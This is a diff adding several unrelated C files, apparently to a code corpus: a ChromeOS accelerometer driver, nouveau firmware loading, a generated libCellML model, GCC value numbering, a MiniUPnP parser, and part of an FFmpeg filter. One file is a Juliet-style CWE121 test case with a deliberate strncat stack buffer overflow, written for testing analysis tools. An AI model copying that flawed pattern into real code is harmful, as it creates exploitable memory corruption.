+ * with the Chrome OS EC about accelerometer data or older commands.
+ * Accelerometer access is presented through iio sysfs.
+ */
+
+#include <linux/delay.h>
+#include <linux/device.h>
+#include <linux/iio/buffer.h>
+#include <linux/iio/common/cros_ec_sensors_core.h>
+#include <linux/iio/iio.h>
+#include <linux/iio/kfifo_buf.h>
+#include <linux/iio/trigger_consumer.h>
+#include <linux/iio/triggered_buffer.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/platform_data/cros_ec_commands.h>
+#include <linux/platform_data/cros_ec_proto.h>
+#include <linux/platform_device.h>
+
+#define DRV_NAME	"cros-ec-accel-legacy"
+
+#define CROS_EC_SENSOR_LEGACY_NUM 2
+/*
+ * Sensor scale hard coded at 10 bits per g, computed as:
+ * g / (2^10 - 1) = 0.009586168; with g = 9.80665 m.s^-2
+ */
+#define ACCEL_LEGACY_NSCALE 9586168
+
+static int cros_ec_accel_legacy_read_cmd(struct iio_dev *indio_dev,
+				  unsigned long scan_mask, s16 *data)
+{
+	struct cros_ec_sensors_core_state *st = iio_priv(indio_dev);
+	int ret;
+	unsigned int i;
+	u8 sensor_num;
+
+	/*
+	 * Read all sensor data through a command.
+	 * Save sensor_num, it is assumed to stay.
+	 */
+	sensor_num = st->param.info.sensor_num;
+	st->param.cmd = MOTIONSENSE_CMD_DUMP;
+	st->param.dump.max_sensor_count = CROS_EC_SENSOR_LEGACY_NUM;
+	ret = cros_ec_motion_send_host_cmd(st,
+			sizeof(st->resp->dump) + CROS_EC_SENSOR_LEGACY_NUM *
+			sizeof(struct ec_response_motion_sensor_data));
+	st->param.info.sensor_num = sensor_num;
+	if (ret != 0) {
+		dev_warn(&indio_dev->dev, "Unable to read sensor data\n");
+		return ret;
+	}
+
+	for_each_set_bit(i, &scan_mask, indio_dev->masklength) {
+		*data = st->resp->dump.sensor[sensor_num].data[i] *
+			st->sign[i];
+		data++;
+	}
+
+	return 0;
+}
+
+static int cros_ec_accel_legacy_read(struct iio_dev *indio_dev,
+				     struct iio_chan_spec const *chan,
+				     int *val, int *val2, long mask)
+{
+	struct cros_ec_sensors_core_state *st = iio_priv(indio_dev);
+	s16 data = 0;
+	int ret;
+	int idx = chan->scan_index;
+
+	mutex_lock(&st->cmd_lock);
+
+	switch (mask) {
+	case IIO_CHAN_INFO_RAW:
+		ret = st->read_ec_sensors_data(indio_dev, 1 << idx, &data);
+		if (ret < 0)
+			break;
+		ret = IIO_VAL_INT;
+		*val = data;
+		break;
+	case IIO_CHAN_INFO_SCALE:
+		WARN_ON(st->type != MOTIONSENSE_TYPE_ACCEL);
+		*val = 0;
+		*val2 = ACCEL_LEGACY_NSCALE;
+		ret = IIO_VAL_INT_PLUS_NANO;
+		break;
+	case IIO_CHAN_INFO_CALIBBIAS:
+		/* Calibration not supported. */
+		*val = 0;
+		ret = IIO_VAL_INT;
+		break;
+	default:
+		ret = cros_ec_sensors_core_read(st, chan, val, val2,
+				mask);
+		break;
+	}
+	mutex_unlock(&st->cmd_lock);
+
+	return ret;
+}
+
+static int cros_ec_accel_legacy_write(struct iio_dev *indio_dev,
+				      struct iio_chan_spec const *chan,
+				      int val, int val2, long mask)
+{
+	/*
+	 * Do nothing but don't return an error code to allow calibration
+	 * script to work.
+	 */
+	if (mask == IIO_CHAN_INFO_CALIBBIAS)
+		return 0;
+
+	return -EINVAL;
+}
+
+static const struct iio_info cros_ec_accel_legacy_info = {
+	.read_raw = &cros_ec_accel_legacy_read,
+	.write_raw = &cros_ec_accel_legacy_write,
+};
+
+/*
+ * Present the channel using HTML5 standard:
+ * need to invert X and Y and invert some lid axis.
+ */
+#define CROS_EC_ACCEL_ROTATE_AXIS(_axis)				\
+	((_axis) == CROS_EC_SENSOR_Z ? CROS_EC_SENSOR_Z :		\
+	 ((_axis) == CROS_EC_SENSOR_X ? CROS_EC_SENSOR_Y :		\
+	  CROS_EC_SENSOR_X))
+
+#define CROS_EC_ACCEL_LEGACY_CHAN(_axis)				\
+	{								\
+		.type = IIO_ACCEL,					\
+		.channel2 = IIO_MOD_X + (_axis),			\
+		.modified = 1,					        \
+		.info_mask_separate =					\
+			BIT(IIO_CHAN_INFO_RAW) |			\
+			BIT(IIO_CHAN_INFO_CALIBBIAS),			\
+		.info_mask_shared_by_all = BIT(IIO_CHAN_INFO_SCALE),	\
+		.ext_info = cros_ec_sensors_ext_info,			\
+		.scan_type = {						\
+			.sign = 's',					\
+			.realbits = CROS_EC_SENSOR_BITS,		\
+			.storagebits = CROS_EC_SENSOR_BITS,		\
+		},							\
+		.scan_index = CROS_EC_ACCEL_ROTATE_AXIS(_axis),		\
+	}								\
+
+static const struct iio_chan_spec cros_ec_accel_legacy_channels[] = {
+		CROS_EC_ACCEL_LEGACY_CHAN(CROS_EC_SENSOR_X),
+		CROS_EC_ACCEL_LEGACY_CHAN(CROS_EC_SENSOR_Y),
+		CROS_EC_ACCEL_LEGACY_CHAN(CROS_EC_SENSOR_Z),
+		IIO_CHAN_SOFT_TIMESTAMP(CROS_EC_SENSOR_MAX_AXIS)
+};
+
+static int cros_ec_accel_legacy_probe(struct platform_device *pdev)
+{
+	struct device *dev = &pdev->dev;
+	struct iio_dev *indio_dev;
+	struct cros_ec_sensors_core_state *state;
+	int ret;
+
+	indio_dev = devm_iio_device_alloc(&pdev->dev, sizeof(*state));
+	if (!indio_dev)
+		return -ENOMEM;
+
+	ret = cros_ec_sensors_core_init(pdev, indio_dev, true);
+	if (ret)
+		return ret;
+
+	indio_dev->info = &cros_ec_accel_legacy_info;
+	state = iio_priv(indio_dev);
+
+	if (state->ec->cmd_readmem != NULL)
+		state->read_ec_sensors_data = cros_ec_sensors_read_lpc;
+	else
+		state->read_ec_sensors_data = cros_ec_accel_legacy_read_cmd;
+
+	indio_dev->channels = cros_ec_accel_legacy_channels;
+	indio_dev->num_channels = ARRAY_SIZE(cros_ec_accel_legacy_channels);
+	/* The lid sensor needs to be presented inverted. */
+	if (state->loc == MOTIONSENSE_LOC_LID) {
+		state->sign[CROS_EC_SENSOR_X] = -1;
+		state->sign[CROS_EC_SENSOR_Z] = -1;
+	}
+
+	ret = devm_iio_triggered_buffer_setup(dev, indio_dev, NULL,
+			cros_ec_sensors_capture, NULL);
+	if (ret)
+		return ret;
+
+	return devm_iio_device_register(dev, indio_dev);
+}
+
+static struct platform_driver cros_ec_accel_platform_driver = {
+	.driver = {
+		.name	= DRV_NAME,
+	},
+	.probe		= cros_ec_accel_legacy_probe,
+};
+module_platform_driver(cros_ec_accel_platform_driver);
+
+MODULE_DESCRIPTION("ChromeOS EC legacy accelerometer driver");
+MODULE_AUTHOR("Gwendal Grignou <gwendal@chromium.org>");
+MODULE_LICENSE("GPL v2");
+MODULE_ALIAS("platform:" DRV_NAME);
diff --git a/pool/shard001/C/0022274_hs_ucode.c b/pool/shard001/C/0022274_hs_ucode.c
new file mode 100644
index 0000000000000000000000000000000000000000..6b33182ddc2ffa045974d6c620fe5541fa7a02c3
--- /dev/null
+++ b/pool/shard001/C/0022274_hs_ucode.c
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2017, NVIDIA CORPORATION. All rights reserved.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ */
+
+#include "hs_ucode.h"
+#include "ls_ucode.h"
+#include "acr.h"
+
+#include <engine/falcon.h>
+
+/**
+ * hs_ucode_patch_signature() - patch HS blob with correct signature for
+ * specified falcon.
+ */
+static void
+hs_ucode_patch_signature(const struct nvkm_falcon *falcon, void *acr_image,
+			 bool new_format)
+{
+	struct fw_bin_header *hsbin_hdr = acr_image;
+	struct hsf_fw_header *fw_hdr = acr_image + hsbin_hdr->header_offset;
+	void *hs_data = acr_image + hsbin_hdr->data_offset;
+	void *sig;
+	u32 sig_size;
+	u32 patch_loc, patch_sig;
+
+	/*
+	 * I had the brilliant idea to "improve" the binary format by
+	 * removing this useless indirection. However to make NVIDIA files
+	 * directly compatible, let's support both format.
+	 */
+	if (new_format) {
+		patch_loc = fw_hdr->patch_loc;
+		patch_sig = fw_hdr->patch_sig;
+	} else {
+		patch_loc = *(u32 *)(acr_image + fw_hdr->patch_loc);
+		patch_sig = *(u32 *)(acr_image + fw_hdr->patch_sig);
+	}
+
+	/* Falcon in debug or production mode? */
+	if (falcon->debug) {
+		sig = acr_image + fw_hdr->sig_dbg_offset;
+		sig_size = fw_hdr->sig_dbg_size;
+	} else {
+		sig = acr_image + fw_hdr->sig_prod_offset;
+		sig_size = fw_hdr->sig_prod_size;
+	}
+
+	/* Patch signature */
+	memcpy(hs_data + patch_loc, sig + patch_sig, sig_size);
+}
+
+void *
+hs_ucode_load_blob(struct nvkm_subdev *subdev, const struct nvkm_falcon *falcon,
+		   const char *fw)
+{
+	void *acr_image;
+	bool new_format;
+
+	acr_image = nvkm_acr_load_firmware(subdev, fw, 0);
+	if (IS_ERR(acr_image))
+		return acr_image;
+
+	/* detect the format to define how signature should be patched */
+	switch (((u32 *)acr_image)[0]) {
+	case 0x3b1d14f0:
+		new_format = true;
+		break;
+	case 0x000010de:
+		new_format = false;
+		break;
+	default:
+		nvkm_error(subdev, "unknown header for HS blob %s\n", fw);
+		return ERR_PTR(-EINVAL);
+	}
+
+	hs_ucode_patch_signature(falcon, acr_image, new_format);
+
+	return acr_image;
+}
diff --git a/pool/shard001/C/0022286_model.c b/pool/shard001/C/0022286_model.c
new file mode 100644
index 0000000000000000000000000000000000000000..b7fec7c49b6804573bc7bb203d3c696c51992f84
--- /dev/null
+++ b/pool/shard001/C/0022286_model.c
@@ -0,0 +1,61 @@
+/* The content of this file was generated using the C profile of libCellML 0.2.0. */
+
+#include "model.h"
+
+#include <math.h>
+#include <stdlib.h>
+
+const char VERSION[] = "0.1.0";
+const char LIBCELLML_VERSION[] = "0.2.0";
+
+const size_t STATE_COUNT = 2;
+const size_t VARIABLE_COUNT = 2;
+
+const VariableInfo VOI_INFO = {"t", "ms", "environment"};
+
+const VariableInfo STATE_INFO[] = {
+    {"x", "mM", "circle_x"},
+    {"y", "mM", "circle_y_implementation"}
+};
+
+const VariableInfoWithType VARIABLE_INFO[] = {
+    {"local_complex_maths", "mM", "circle_sibling", ALGEBRAIC},
+    {"two_x", "milli_mole", "circle_x_sibling", ALGEBRAIC}
+};
+
+double * createStatesArray()
+{
+    return (double *) malloc(STATE_COUNT*sizeof(double));
+}
+
+double * createVariablesArray()
+{
+    return (double *) malloc(VARIABLE_COUNT*sizeof(double));
+}
+
+void deleteArray(double *array)
+{
+    free(array);
+}
+
+void initializeStatesAndConstants(double *states, double *variables)
+{
+    states[0] = 0.0;
+    states[1] = 1.0;
+}
+
+void computeComputedConstants(double *variables)
+{
+}
+
+void computeRates(double voi, double *states, double *rates, double *variables)
+{
+    rates[0] = -states[1]*1.0;
+    rates[1] = states[0]*1.0;
+}
+
+void computeVariables(double voi, double *states, double *rates, double *variables)
+{
+    variables[0] = states[1]+5.0*states[1]/3.0+1.0*exp(states[1]/2.0);
+    variables[1] = 2.0*states[0];
+}
diff --git a/pool/shard001/C/0022302_CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b.c b/pool/shard001/C/0022302_CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b.c
new file mode 100644
index 0000000000000000000000000000000000000000..63ec4d70cec554033231c0fa4e1d55846c96e6ca
--- /dev/null
+++ b/pool/shard001/C/0022302_CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b.c
@@ -0,0 +1,54 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b.c
+Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE805.string.label.xml
+Template File: sources-sink-51b.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 121 Stack Based Buffer Overflow
+ * BadSource:  Set data pointer to the bad buffer
+ * GoodSource: Set data pointer to the good buffer
+ * Sink: ncat
+ *    BadSink : Copy string to data using strncat
+ * Flow Variant: 51 Data flow: data passed as an argument from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+/* all the sinks are the same, we just want to know where the hit originated if a tool flags one */
+
+#ifndef OMITBAD
+
+void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b_badSink(char * data)
+{
+    {
+        char source[100];
+        memset(source, 'C', 100-1); /* fill with 'C's */
+        source[100-1] = '\0'; /* null terminate */
+        /* POTENTIAL FLAW: Possible buffer overflow if the sizeof(data)-strlen(data) is less than the length of source */
+        strncat(data, source, 100);
+        printLine(data);
+    }
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodG2B uses the GoodSource with the BadSink */
+void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_ncat_51b_goodG2BSink(char * data)
+{
+    {
+        char source[100];
+        memset(source, 'C', 100-1); /* fill with 'C's */
+        source[100-1] = '\0'; /* null terminate */
+        /* POTENTIAL FLAW: Possible buffer overflow if the sizeof(data)-strlen(data) is less than the length of source */
+        strncat(data, source, 100);
+        printLine(data);
+    }
+}
+
+#endif /* OMITGOOD */
diff --git a/pool/shard001/C/0022303_tree-vn.c b/pool/shard001/C/0022303_tree-vn.c
new file mode 100644
index 0000000000000000000000000000000000000000..ab952ebadd0ab2ba8b9c71ca6d721f6afd931df3
--- /dev/null
+++ b/pool/shard001/C/0022303_tree-vn.c
@@ -0,0 +1,307 @@
+/* Value Numbering routines for tree expressions.
+   Copyright (C) 2001, 2002, 2003, 2004 Free Software Foundation, Inc.
+   Contributed by Daniel Berlin <dan@dberlin.org>, Steven Bosscher
+   <stevenb@suse.de> and Diego Novillo <dnovillo@redhat.com>
+
+This file is part of GCC.
+
+GCC is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2, or (at your option)
+any later version.
+
+GCC is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with GCC; see the file COPYING.  If not, write to
+the Free Software Foundation, 59 Temple Place - Suite 330,
+Boston, MA 02111-1307, USA.  */
+
+#include "config.h"
+#include "system.h"
+#include "coretypes.h"
+#include "tm.h"
+#include "ggc.h"
+#include "tree.h"
+#include "tree-flow.h"
+#include "hashtab.h"
+#include "langhooks.h"
+#include "tree-pass.h"
+#include "tree-dump.h"
+#include "diagnostic.h"
+
+/* The value table that maps expressions to values.  */
+static htab_t value_table;
+
+/* Map expressions to values.  These are simple pairs of expressions
+   and the values they represent.  To find the value represented by
+   an expression, we use a hash table where the elements are {e,v}
+   pairs, and the expression is the key.  */
+typedef struct val_expr_pair_d
+{
+  /* Value handle.  */
+  tree v;
+
+  /* Associated expression.  */
+  tree e;
+
+  /* Virtual uses in E.  */
+  vuse_optype vuses;
+
+  /* E's hash value.  */
+  hashval_t hashcode;
+} *val_expr_pair_t;
+
+static void set_value_handle (tree e, tree v);
+
+
+/* Create and return a new value handle node of type TYPE.  */
+
+static tree
+make_value_handle (tree type)
+{
+  static unsigned int id = 0;
+  tree vh;
+
+  vh = build0 (VALUE_HANDLE, type);
+  VALUE_HANDLE_ID (vh) = id++;
+  return vh;
+}
+
+
+/* Given an expression EXPR, compute a hash value number using the
+   code of the expression, its real operands and virtual operands (if
+   any).
+   
+   VAL can be used to iterate by passing previous value numbers (it is
+   used by iterative_hash_expr).
+
+   VUSES is the set of virtual use operands associated with EXPR.  It
+   may be NULL if EXPR has no virtual operands.  */
+
+hashval_t
+vn_compute (tree expr, hashval_t val, vuse_optype vuses)
+{
+  size_t i;
+
+  /* EXPR must not be a statement.  We are only interested in value
+     numbering expressions on the RHS of assignments.  */
+  gcc_assert (expr);
+  gcc_assert (!expr->common.ann
+	      || expr->common.ann->common.type != STMT_ANN);
+
+  val = iterative_hash_expr (expr, val);
+
+  /* If the expression has virtual uses, incorporate them into the
+     hash value computed for EXPR.  */
+  for (i = 0; i < NUM_VUSES (vuses); i++)
+    val = iterative_hash_expr (VUSE_OP (vuses, i), val);
+
+  return val;
+}
+
+
+/* Compare two expressions E1 and E2 and return true if they are
+   equal.  */
+
+bool
+expressions_equal_p (tree e1, tree e2)
+{
+  tree te1, te2;
+  
+  if (e1 == e2)
+    return true;
+
+  te1 = TREE_TYPE (e1);
+  te2 = TREE_TYPE (e2);
+
+  if (TREE_CODE (e1) == TREE_CODE (e2) 
+      && (te1 == te2 || lang_hooks.types_compatible_p (te1, te2))
+      && operand_equal_p (e1, e2, OEP_PURE_SAME))
+    return true;
+
+  return false;
+}
+
+
+/* Hash a {v,e} pair that is pointed to by P.
+   The hashcode is cached in the val_expr_pair, so we just return
+   that.  */
+
+static hashval_t
+val_expr_pair_hash (const void *p)
+{
+  const val_expr_pair_t ve = (val_expr_pair_t) p;
+  return ve->hashcode;
+}
+
+
+/* Given two val_expr_pair_t's, return true if they represent the same
+   expression, false otherwise.
+   P1 and P2 should point to the val_expr_pair_t's to be compared.  */
+
+static int
+val_expr_pair_expr_eq (const void *p1, const void *p2)
+{
+  const val_expr_pair_t ve1 = (val_expr_pair_t) p1;
+  const val_expr_pair_t ve2 = (val_expr_pair_t) p2;
+  size_t i;
+
+  if (! expressions_equal_p (ve1->e, ve2->e))
+    return false;
+
+  if (NUM_VUSES (ve1->vuses) != NUM_VUSES (ve2->vuses))
+    return false;
+  
+  for (i = 0; i < NUM_VUSES (ve1->vuses); i++)
+    if (! expressions_equal_p (VUSE_OP (ve1->vuses, i),
+			       VUSE_OP (ve2->vuses, i)))
+      return false;
+  
+  return true;
+}
+
+
+/* Set the value handle for expression E to value V.  */
+   
+static void
+set_value_handle (tree e, tree v)
+{
+  if (TREE_CODE (e) == SSA_NAME)
+    SSA_NAME_VALUE (e) = v;
+  else if (EXPR_P (e) || DECL_P (e))
+    get_tree_ann (e)->common.value_handle = v;
+  else
+    /* Do nothing.  Constants are their own value handles.  */
+    gcc_assert (is_gimple_min_invariant (e));
+}
+
+
+/* Insert EXPR into VALUE_TABLE with value VAL, and add expression
+   EXPR to the value set for value VAL.  VUSES represent the virtual
+   use operands associated with EXPR (if any).  They are used when
+   computing the hash value for EXPR.  */
+
+void
+vn_add (tree expr, tree val, vuse_optype vuses)
+{
+  void **slot;
+  val_expr_pair_t new_pair;
+  
+  new_pair = xmalloc (sizeof (struct val_expr_pair_d));
+  new_pair->e = expr;
+  new_pair->v = val;
+  new_pair->vuses = vuses;
+  new_pair->hashcode = vn_compute (expr, 0, vuses);
+  slot = htab_find_slot_with_hash (value_table, new_pair, new_pair->hashcode,
+				   INSERT);
+  if (*slot)
+    free (*slot);
+  *slot = (void *) new_pair;
+
+  set_value_handle (expr, val);
+  add_to_value (val, expr);
+}
+
+
+/* Search in VALUE_TABLE for an existing instance of expression EXPR,
+   and return its value, or NULL if none has been set.  VUSES
+   represent the virtual use operands associated with EXPR (if any).
+   They are used when computing the hash value for EXPR.  */
+
+tree
+vn_lookup (tree expr, vuse_optype vuses)
+{
+  void **slot;
+  struct val_expr_pair_d vep = {NULL, NULL, NULL, 0};
+
+  /* Constants are their own value.  */
+  if (is_gimple_min_invariant (expr))
+    return expr;
+
+  vep.e = expr;
+  vep.vuses = vuses;
+  vep.hashcode = vn_compute (expr, 0, vuses); 
+  slot = htab_find_slot_with_hash (value_table, &vep, vep.hashcode, NO_INSERT);
+  if (!slot)
+    return NULL_TREE;
+  else
+    return ((val_expr_pair_t) *slot)->v;
+}
+
+
+/* Like vn_lookup, but creates a new value for expression EXPR, if
+   EXPR doesn't already have a value.  Return the existing/created
+   value for EXPR.  VUSES represent the virtual use operands
+   associated with EXPR (if any).  They are used when computing the
+   hash value for EXPR.  */
+
+tree
+vn_lookup_or_add (tree expr, vuse_optype vuses)
+{
+  tree v = vn_lookup (expr, vuses);
+  if (v == NULL_TREE)
+    {
+      v = make_value_handle (TREE_TYPE (expr));
+
+      if (dump_file && (dump_flags & TDF_DETAILS))
+	{     
+	  fprintf (dump_file, "Created value ");
+	  print_generic_expr (dump_file, v, dump_flags);
+	  fprintf (dump_file, " for ");
+	  print_generic_expr (dump_file, expr, dump_flags);
+	  fprintf (dump_file, "\n");
+	}
+
+      vn_add (expr, v, vuses);
+    }
+
+  set_value_handle (expr, v);
+
+  return v;
+}
+
+
+/* Get the value handle of EXPR.  This is the only correct way to get
+   the value handle for a "thing".  If EXPR does not have a value
+   handle associated, it returns NULL_TREE.  */
+
+tree
+get_value_handle (tree expr)
+{
+  if (TREE_CODE (expr) == SSA_NAME)
+    return SSA_NAME_VALUE (expr);
+  else if (EXPR_P (expr) || DECL_P (expr))
+    {
+      tree_ann_t ann = tree_ann (expr);
+      return ((ann) ? ann->common.value_handle : NULL_TREE);
+    }
+  else
+    {
+      gcc_assert (is_gimple_min_invariant (expr));
+      return expr;
+    }
+}
+
+
+/* Initialize data structures used in value numbering.  */
+
+void
+vn_init (void)
+{
+  value_table = htab_create (511, val_expr_pair_hash,
+			     val_expr_pair_expr_eq, free);
+}
+
+
+/* Delete data used for value numbering.  */
+
+void
+vn_delete (void)
+{
+  htab_delete (value_table);
+  value_table = NULL;
+}
diff --git a/pool/shard001/C/0022307_upnpreplyparse.c b/pool/shard001/C/0022307_upnpreplyparse.c
new file mode 100644
index 0000000000000000000000000000000000000000..5de5796a39547e267347a77d57ff044a1d02e381
--- /dev/null
+++ b/pool/shard001/C/0022307_upnpreplyparse.c
@@ -0,0 +1,197 @@
+/* $Id: upnpreplyparse.c,v 1.19 2015/07/15 10:29:11 nanard Exp $ */
+/* MiniUPnP project
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * (c) 2006-2015 Thomas Bernard
+ * This software is subject to the conditions detailed
+ * in the LICENCE file provided within the distribution */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+#include "upnpreplyparse.h"
+#include "minixml.h"
+
+static void
+NameValueParserStartElt(void * d, const char * name, int l)
+{
+	struct NameValueParserData * data = (struct NameValueParserData *)d;
+	data->topelt = 1;
+    if(l>63)
+        l = 63;
+    memcpy(data->curelt, name, l);
+    data->curelt[l] = '\0';
+	data->cdata = NULL;
+	data->cdatalen = 0;
+}
+
+static void
+NameValueParserEndElt(void * d, const char * name, int l)
+{
+    struct NameValueParserData * data = (struct NameValueParserData *)d;
+    struct NameValue * nv;
+	(void)name;
+	(void)l;
+	if(!data->topelt)
+		return;
+	if(strcmp(data->curelt, "NewPortListing") != 0)
+	{
+		int l;
+		/* standard case. Limited to n chars strings */
+		l = data->cdatalen;
+	    nv = malloc(sizeof(struct NameValue));
+		if(nv == NULL)
+		{
+			/* malloc error */
+#ifdef DEBUG
+			fprintf(stderr, "%s: error allocating memory",
+			        "NameValueParserEndElt");
+#endif /* DEBUG */
+			return;
+		}
+	    if(l>=(int)sizeof(nv->value))
+	        l = sizeof(nv->value) - 1;
+	    strncpy(nv->name, data->curelt, 64);
+		nv->name[63] = '\0';
+		if(data->cdata != NULL)
+		{
+			memcpy(nv->value, data->cdata, l);
+			nv->value[l] = '\0';
+		}
+		else
+		{
+			nv->value[0] = '\0';
+		}
+		nv->l_next = data->l_head;	/* insert in list */
+		data->l_head = nv;
+	}
+	data->cdata = NULL;
+	data->cdatalen = 0;
+	data->topelt = 0;
+}
+
+static void
+NameValueParserGetData(void * d, const char * datas, int l)
+{
+    struct NameValueParserData * data = (struct NameValueParserData *)d;
+	if(strcmp(data->curelt, "NewPortListing") == 0)
+	{
+		/* specific case for NewPortListing which is a XML Document */
+		data->portListing = malloc(l + 1);
+		if(!data->portListing)
+		{
+			/* malloc error */
+#ifdef DEBUG
+			fprintf(stderr, "%s: error allocating memory",
+			        "NameValueParserGetData");
+#endif /* DEBUG */
+			return;
+		}
+		memcpy(data->portListing, datas, l);
+		data->portListing[l] = '\0';
+		data->portListingLength = l;
+	}
+	else
+	{
+		/* standard case. */
+		data->cdata = datas;
+		data->cdatalen = l;
+	}
+}
+
+void
+ParseNameValue(const char * buffer, int bufsize,
+               struct NameValueParserData * data)
+{
+	struct xmlparser parser;
+	data->l_head = NULL;
+	data->portListing = NULL;
+	data->portListingLength = 0;
+	/* init xmlparser object */
+	parser.xmlstart = buffer;
+	parser.xmlsize = bufsize;
+	parser.data = data;
+	parser.starteltfunc = NameValueParserStartElt;
+	parser.endeltfunc = NameValueParserEndElt;
+	parser.datafunc = NameValueParserGetData;
+	parser.attfunc = 0;
+	parsexml(&parser);
+}
+
+void
+ClearNameValueList(struct NameValueParserData * pdata)
+{
+    struct NameValue * nv;
+	if(pdata->portListing)
+	{
+		free(pdata->portListing);
+		pdata->portListing = NULL;
+		pdata->portListingLength = 0;
+	}
+    while((nv = pdata->l_head) != NULL)
+    {
+		pdata->l_head = nv->l_next;
+        free(nv);
+    }
+}
+
+char *
+GetValueFromNameValueList(struct NameValueParserData * pdata,
+                          const char * Name)
+{
+    struct NameValue * nv;
+    char * p = NULL;
+    for(nv = pdata->l_head;
+        (nv != NULL) && (p == NULL);
+        nv = nv->l_next)
+    {
+        if(strcmp(nv->name, Name) == 0)
+            p = nv->value;
+    }
+    return p;
+}
+
+#if 0
+/* useless now that minixml ignores namespaces by itself */
+char *
+GetValueFromNameValueListIgnoreNS(struct NameValueParserData * pdata,
+                                  const char * Name)
+{
+	struct NameValue * nv;
+	char * p = NULL;
+	char * pname;
+	for(nv = pdata->head.lh_first;
+	    (nv != NULL) && (p == NULL);
+		nv = nv->entries.le_next)
+	{
+		pname = strrchr(nv->name, ':');
+		if(pname)
+			pname++;
+		else
+			pname = nv->name;
+		if(strcmp(pname, Name)==0)
+			p = nv->value;
+	}
+	return p;
+}
+#endif
+
+/* debug all-in-one function
+ * do parsing then display to stdout */
+#ifdef DEBUG
+void
+DisplayNameValueList(char * buffer, int bufsize)
+{
+    struct NameValueParserData pdata;
+    struct NameValue * nv;
+    ParseNameValue(buffer, bufsize, &pdata);
+    for(nv = pdata.l_head;
+        nv != NULL;
+        nv = nv->l_next)
+    {
+        printf("%s = %s\n", nv->name, nv->value);
+    }
+    ClearNameValueList(&pdata);
+}
+#endif /* DEBUG */
+
diff --git a/pool/shard001/C/0022321_vf_slicify.c b/pool/shard001/C/0022321_vf_slicify.c
new file mode 100644
index 0000000000000000000000000000000000000000..f496bfd9b6d628614991f6ae88dc4a0e5eb648c5
--- /dev/null
+++ b/pool/shard001/C/0022321_vf_slicify.c
@@ -0,0 +1,118 @@
+/*
+ * Copyright (c) 2007 Bobby Bingham
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * video slicing filter
+ */
+
+#include "avfilter.h"
+#include "video.h"
+#include "libavutil/pixdesc.h"
+
+typedef struct {
+    int h;          ///< output slice height
+    int vshift;     ///< vertical chroma subsampling shift
+    uint32_t lcg_state; ///< LCG state used to compute random slice height
+    int use_random_h;   ///< enable the use of random slice height values
+} SliceContext;
+
+static av_cold int init(AVFilterContext *ctx, const char *args, void *opaque)
+{
+    SliceContext *slice = ctx->priv;
+
+    slice->h = 16;
+    if (args) {
+        if (!strcmp(args, "random")) {
+            slice->use_random_h = 1;
+        } else {
+            sscanf(args, "%d", &slice->h);
+        }
+    }
+    return 0;
+}
+
+static int config_props(AVFilterLink *link)
+{
+    SliceContext *slice = link->dst->priv;
+
+    slice->vshift = av_pix_fmt_descriptors[link->format].log2_chroma_h;
+
+    return 0;
+}
+
+static void start_frame(AVFilterLink *link, AVFilterBufferRef *picref)
+{
+    SliceContext *slice = link->dst->priv;
+
+    if (slice->use_random_h) {
+        slice->lcg_state = slice->lcg_state * 1664525 + 1013904223;
+        slice->h = 8 + (uint64_t)slice->lcg_state * 25 / UINT32_MAX;
+    }
+
+    /* ensure that slices play nice with chroma subsampling, and enforce
+     * a reasonable minimum size for the slices */
+    slice->h = FFMAX(8, slice->h & (-1 << slice->vshift));
+
+    av_log(link->dst, AV_LOG_DEBUG, "h:%d\n", slice->h);
+
+    avfilter_start_frame(link->dst->outputs[0], picref);
+}
+
